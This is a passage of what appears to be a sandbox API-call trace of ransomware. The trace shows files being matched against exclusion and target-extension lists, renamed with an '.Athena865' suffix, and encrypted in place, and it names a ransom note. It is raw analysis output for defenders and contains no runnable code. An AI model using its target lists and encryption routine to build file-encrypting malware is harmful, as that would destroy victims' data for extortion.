(lpString="mdbhtml") returned 7 [0118.985] lstrcmpiW (lpString1="osp.dll", lpString2="mdbhtml") returned 1 [0118.985] lstrlenW (lpString="mdn") returned 3 [0118.985] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0118.985] lstrlenW (lpString="mdt") returned 3 [0118.985] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0118.985] lstrlenW (lpString="mfd") returned 3 [0118.985] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0118.985] lstrlenW (lpString="mpd") returned 3 [0118.985] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0118.985] lstrlenW (lpString="mrg") returned 3 [0118.985] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0118.986] lstrlenW (lpString="mud") returned 3 [0118.986] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0118.986] lstrlenW (lpString="mwb") returned 3 [0118.986] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0118.986] lstrlenW (lpString="myd") returned 3 [0118.986] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0118.986] lstrlenW (lpString="ndf") returned 3 [0118.986] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0118.986] lstrlenW (lpString="nnt") returned 3 [0118.986] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0118.986] lstrlenW (lpString="nrmlib") returned 6 [0118.986] lstrcmpiW (lpString1="sp.dll", lpString2="nrmlib") returned 1 [0118.986] lstrlenW (lpString="ns2") returned 3 [0118.986] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0118.986] lstrlenW (lpString="ns3") returned 3 [0118.986] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0118.986] lstrlenW (lpString="ns4") returned 3 [0118.986] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0118.986] lstrlenW (lpString="nsf") returned 3 [0118.986] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0118.986] lstrlenW (lpString="nv") returned 2 [0118.986] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0118.986] lstrlenW (lpString="nv2") returned 3 [0118.986] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0118.986] lstrlenW (lpString="nwdb") returned 4 [0118.986] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0118.986] lstrlenW (lpString="nyf") returned 3 [0118.986] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0118.986] lstrlenW (lpString="odb") returned 3 [0118.986] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0118.987] lstrlenW (lpString="odb") returned 3 [0118.987] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0118.987] lstrlenW (lpString="oqy") returned 3 [0118.987] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0118.987] lstrlenW (lpString="ora") returned 3 [0118.987] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0118.987] lstrlenW (lpString="orx") returned 3 [0118.987] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0118.987] lstrlenW (lpString="owc") returned 3 [0118.987] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0118.987] lstrlenW (lpString="p96") returned 3 [0118.987] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0118.987] lstrlenW (lpString="p97") returned 3 [0118.987] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0118.987] lstrlenW (lpString="pan") returned 3 [0118.987] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0118.987] lstrlenW (lpString="pdb") returned 3 [0118.987] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0118.987] lstrlenW (lpString="pdm") returned 3 [0118.987] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0118.987] lstrlenW (lpString="pnz") returned 3 [0118.987] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0118.987] lstrlenW (lpString="qry") returned 3 [0118.987] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0118.987] lstrlenW (lpString="qvd") returned 3 [0118.987] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0118.987] lstrlenW (lpString="rbf") returned 3 [0118.987] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0118.987] lstrlenW (lpString="rctd") returned 4 [0118.988] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0118.988] lstrlenW (lpString="rod") returned 3 [0118.988] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0118.988] lstrlenW (lpString="rodx") returned 4 [0118.988] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0118.988] lstrlenW (lpString="rpd") returned 3 [0118.988] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0118.988] lstrlenW (lpString="rsd") returned 3 [0118.988] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0118.988] lstrlenW (lpString="sas7bdat") returned 8 [0118.988] lstrcmpiW (lpString1="aosp.dll", lpString2="sas7bdat") returned -1 [0118.988] lstrlenW (lpString="sbf") returned 3 [0118.988] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0118.988] lstrlenW (lpString="scx") returned 3 [0118.988] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0118.988] lstrlenW (lpString="sdb") returned 3 [0118.988] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0118.988] lstrlenW (lpString="sdc") returned 3 [0118.988] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0118.988] lstrlenW (lpString="sdf") returned 3 [0118.988] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0118.988] lstrlenW (lpString="sis") returned 3 [0118.988] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0118.988] lstrlenW (lpString="spq") returned 3 [0118.988] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0118.988] lstrlenW (lpString="te") returned 2 [0118.988] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0118.988] lstrlenW (lpString="teacher") returned 7 [0118.988] lstrcmpiW (lpString1="osp.dll", lpString2="teacher") returned -1 [0118.989] lstrlenW (lpString="tmd") returned 3 [0118.989] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0118.989] lstrlenW (lpString="tps") returned 3 [0118.989] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0118.989] lstrlenW (lpString="trc") returned 3 [0118.989] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0118.989] lstrlenW (lpString="trc") returned 3 [0118.989] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0118.989] lstrlenW (lpString="trm") returned 3 [0118.989] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0118.989] lstrlenW (lpString="udb") returned 3 [0118.989] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0118.989] lstrlenW (lpString="udl") returned 3 [0118.989] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0118.989] lstrlenW (lpString="usr") returned 3 [0118.989] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0118.989] lstrlenW (lpString="v12") returned 3 [0118.989] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0118.989] lstrlenW (lpString="vis") returned 3 [0118.989] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0118.989] lstrlenW (lpString="vpd") returned 3 [0118.989] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0118.989] lstrlenW (lpString="vvv") returned 3 [0118.989] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0118.989] lstrlenW (lpString="wdb") returned 3 [0118.989] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0118.989] lstrlenW (lpString="wmdb") returned 4 [0118.989] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0118.989] lstrlenW (lpString="wrk") returned 3 [0118.989] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0118.990] lstrlenW (lpString="xdb") returned 3 [0118.990] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0118.990] lstrlenW (lpString="xld") returned 3 [0118.990] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0118.990] lstrlenW (lpString="xmlff") returned 5 [0118.990] lstrcmpiW (lpString1="p.dll", lpString2="xmlff") returned -1 [0118.990] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll.Athena865") returned 65 [0118.990] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll.athena865"), dwFlags=0x1) returned 1 [0118.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0118.992] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=126976) returned 1 [0118.992] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.992] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.992] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.992] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.993] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.993] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.993] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f300, lpName=0x0) returned 0x154 [0118.995] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f300) returned 0x100000 [0119.001] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.001] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.001] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.001] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.001] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.002] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.002] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.002] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.002] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.002] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.002] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.002] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.002] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.002] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.003] CloseHandle (hObject=0x154) returned 1 [0119.003] CloseHandle (hObject=0x17c) returned 1 [0119.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0119.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.004] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14cd0c35, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14cd0c35, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x349a6d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6a000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0119.004] lstrcmpiW (lpString1="msdaps.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.004] lstrcmpiW (lpString1="msdaps.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.004] lstrcmpiW (lpString1="msdaps.dll", lpString2=".") returned 1 [0119.004] lstrcmpiW (lpString1="msdaps.dll", lpString2="..") returned 1 [0119.004] lstrcmpiW (lpString1="msdaps.dll", lpString2="windows") returned -1 [0119.004] lstrcmpiW (lpString1="msdaps.dll", lpString2="bootmgr") returned 1 [0119.004] lstrcmpiW (lpString1="msdaps.dll", lpString2="temp") returned -1 [0119.004] lstrcmpiW (lpString1="msdaps.dll", lpString2="pagefile.sys") returned -1 [0119.004] lstrcmpiW (lpString1="msdaps.dll", lpString2="boot") returned 1 [0119.004] lstrcmpiW (lpString1="msdaps.dll", lpString2="ids.txt") returned 1 [0119.005] lstrcmpiW (lpString1="msdaps.dll", lpString2="ntuser.dat") returned -1 [0119.005] lstrcmpiW (lpString1="msdaps.dll", lpString2="perflogs") returned -1 [0119.005] lstrcmpiW (lpString1="msdaps.dll", lpString2="MSBuild") returned 1 [0119.005] lstrlenW (lpString="msdaps.dll") returned 10 [0119.005] lstrcpyW (in: lpString1=0x241e8a0, lpString2="msdaps.dll" | out: lpString1="msdaps.dll") returned="msdaps.dll" [0119.005] lstrlenW (lpString="msdaps.dll") returned 10 [0119.005] lstrlenW (lpString="Athena865") returned 9 [0119.005] lstrcmpiW (lpString1="sdaps.dll", lpString2="Athena865") returned 1 [0119.005] lstrlenW (lpString=".dll") returned 4 [0119.005] lstrcmpiW (lpString1="msdaps.dll", lpString2=".dll") returned 1 [0119.005] lstrlenW (lpString=".lnk") returned 4 [0119.005] lstrcmpiW (lpString1="msdaps.dll", lpString2=".lnk") returned 1 [0119.005] lstrlenW (lpString=".ini") returned 4 [0119.005] lstrcmpiW (lpString1="msdaps.dll", lpString2=".ini") returned 1 [0119.005] lstrlenW (lpString=".sys") returned 4 [0119.005] lstrcmpiW (lpString1="msdaps.dll", lpString2=".sys") returned 1 [0119.005] lstrlenW (lpString="msdaps.dll") returned 10 [0119.005] lstrlenW (lpString="bak") returned 3 [0119.005] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0119.005] lstrlenW (lpString="ba_") returned 3 [0119.005] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0119.005] lstrlenW (lpString="dbb") returned 3 [0119.005] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0119.005] lstrlenW (lpString="vmdk") returned 4 [0119.005] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0119.005] lstrlenW (lpString="rar") returned 3 [0119.005] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0119.005] lstrlenW (lpString="zip") returned 3 [0119.005] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0119.005] lstrlenW (lpString="tgz") returned 3 [0119.005] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0119.006] lstrlenW (lpString="vbox") returned 4 [0119.006] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0119.006] lstrlenW (lpString="vdi") returned 3 [0119.006] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0119.006] lstrlenW (lpString="vhd") returned 3 [0119.006] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0119.006] lstrlenW (lpString="vhdx") returned 4 [0119.006] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0119.006] lstrlenW (lpString="avhd") returned 4 [0119.006] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0119.006] lstrlenW (lpString="db") returned 2 [0119.006] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0119.006] lstrlenW (lpString="db2") returned 3 [0119.006] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0119.006] lstrlenW (lpString="db3") returned 3 [0119.006] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0119.006] lstrlenW (lpString="dbf") returned 3 [0119.006] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0119.006] lstrlenW (lpString="mdf") returned 3 [0119.006] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0119.006] lstrlenW (lpString="mdb") returned 3 [0119.006] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0119.006] lstrlenW (lpString="sql") returned 3 [0119.006] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0119.006] lstrlenW (lpString="sqlite") returned 6 [0119.006] lstrcmpiW (lpString1="ps.dll", lpString2="sqlite") returned -1 [0119.006] lstrlenW (lpString="sqlite3") returned 7 [0119.006] lstrcmpiW (lpString1="aps.dll", lpString2="sqlite3") returned -1 [0119.006] lstrlenW (lpString="sqlitedb") returned 8 [0119.006] lstrcmpiW (lpString1="daps.dll", lpString2="sqlitedb") returned -1 [0119.006] lstrlenW (lpString="xml") returned 3 [0119.007] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0119.007] lstrlenW (lpString="$er") returned 3 [0119.007] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0119.007] lstrlenW (lpString="4dd") returned 3 [0119.007] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0119.007] lstrlenW (lpString="4dl") returned 3 [0119.007] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0119.007] lstrlenW (lpString="^^^") returned 3 [0119.007] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0119.007] lstrlenW (lpString="abs") returned 3 [0119.007] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0119.007] lstrlenW (lpString="abx") returned 3 [0119.007] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0119.007] lstrlenW (lpString="accdb") returned 5 [0119.007] lstrcmpiW (lpString1="s.dll", lpString2="accdb") returned 1 [0119.007] lstrlenW (lpString="accdc") returned 5 [0119.007] lstrcmpiW (lpString1="s.dll", lpString2="accdc") returned 1 [0119.007] lstrlenW (lpString="accde") returned 5 [0119.007] lstrcmpiW (lpString1="s.dll", lpString2="accde") returned 1 [0119.007] lstrlenW (lpString="accdr") returned 5 [0119.007] lstrcmpiW (lpString1="s.dll", lpString2="accdr") returned 1 [0119.007] lstrlenW (lpString="accdt") returned 5 [0119.007] lstrcmpiW (lpString1="s.dll", lpString2="accdt") returned 1 [0119.007] lstrlenW (lpString="accdw") returned 5 [0119.007] lstrcmpiW (lpString1="s.dll", lpString2="accdw") returned 1 [0119.007] lstrlenW (lpString="accft") returned 5 [0119.007] lstrcmpiW (lpString1="s.dll", lpString2="accft") returned 1 [0119.007] lstrlenW (lpString="adb") returned 3 [0119.007] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0119.007] lstrlenW (lpString="adb") returned 3 [0119.007] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0119.008] lstrlenW (lpString="ade") returned 3 [0119.008] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0119.008] lstrlenW (lpString="adf") returned 3 [0119.008] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0119.008] lstrlenW (lpString="adn") returned 3 [0119.008] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0119.008] lstrlenW (lpString="adp") returned 3 [0119.008] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0119.008] lstrlenW (lpString="alf") returned 3 [0119.008] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0119.008] lstrlenW (lpString="ask") returned 3 [0119.008] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0119.008] lstrlenW (lpString="btr") returned 3 [0119.008] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0119.008] lstrlenW (lpString="cat") returned 3 [0119.008] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0119.008] lstrlenW (lpString="cdb") returned 3 [0119.008] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0119.008] lstrlenW (lpString="ckp") returned 3 [0119.008] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0119.008] lstrlenW (lpString="cma") returned 3 [0119.008] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0119.008] lstrlenW (lpString="cpd") returned 3 [0119.008] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0119.008] lstrlenW (lpString="dacpac") returned 6 [0119.008] lstrcmpiW (lpString1="ps.dll", lpString2="dacpac") returned 1 [0119.008] lstrlenW (lpString="dad") returned 3 [0119.008] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0119.008] lstrlenW (lpString="dadiagrams") returned 10 [0119.008] lstrlenW (lpString="daschema") returned 8 [0119.008] lstrcmpiW (lpString1="daps.dll", lpString2="daschema") returned -1 [0119.009] lstrlenW (lpString="db-journal") returned 10 [0119.009] lstrlenW (lpString="db-shm") returned 6 [0119.009] lstrcmpiW (lpString1="ps.dll", lpString2="db-shm") returned 1 [0119.009] lstrlenW (lpString="db-wal") returned 6 [0119.009] lstrcmpiW (lpString1="ps.dll", lpString2="db-wal") returned 1 [0119.009] lstrlenW (lpString="dbc") returned 3 [0119.009] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0119.009] lstrlenW (lpString="dbs") returned 3 [0119.009] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0119.009] lstrlenW (lpString="dbt") returned 3 [0119.009] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0119.009] lstrlenW (lpString="dbv") returned 3 [0119.009] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0119.009] lstrlenW (lpString="dbx") returned 3 [0119.009] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0119.009] lstrlenW (lpString="dcb") returned 3 [0119.009] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0119.009] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0119.009] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0119.009] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0119.009] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll.Athena865") returned 64 [0119.009] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll.athena865"), dwFlags=0x1) returned 1 [0119.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.013] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=434176) returned 1 [0119.013] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.013] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0119.013] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.013] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.014] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.014] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.016] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6a300, lpName=0x0) returned 0x154 [0119.017] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6a300) returned 0x2d50000 [0119.036] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.037] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.037] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.037] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0119.041] CloseHandle (hObject=0x154) returned 1 [0119.041] CloseHandle (hObject=0x17c) returned 1 [0119.041] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0119.041] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.041] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.043] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c0138a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86c0138a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86c0138a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0119.043] lstrcmpiW (lpString1="msdasql.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.043] lstrcmpiW (lpString1="msdasql.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.043] lstrcmpiW (lpString1="msdasql.dll", lpString2=".") returned 1 [0119.043] lstrcmpiW (lpString1="msdasql.dll", lpString2="..") returned 1 [0119.043] lstrcmpiW (lpString1="msdasql.dll", lpString2="windows") returned -1 [0119.043] lstrcmpiW (lpString1="msdasql.dll", lpString2="bootmgr") returned 1 [0119.043] lstrcmpiW (lpString1="msdasql.dll", lpString2="temp") returned -1 [0119.043] lstrcmpiW (lpString1="msdasql.dll", lpString2="pagefile.sys") returned -1 [0119.043] lstrcmpiW (lpString1="msdasql.dll", lpString2="boot") returned 1 [0119.043] lstrcmpiW (lpString1="msdasql.dll", lpString2="ids.txt") returned 1 [0119.043] lstrcmpiW (lpString1="msdasql.dll", lpString2="ntuser.dat") returned -1 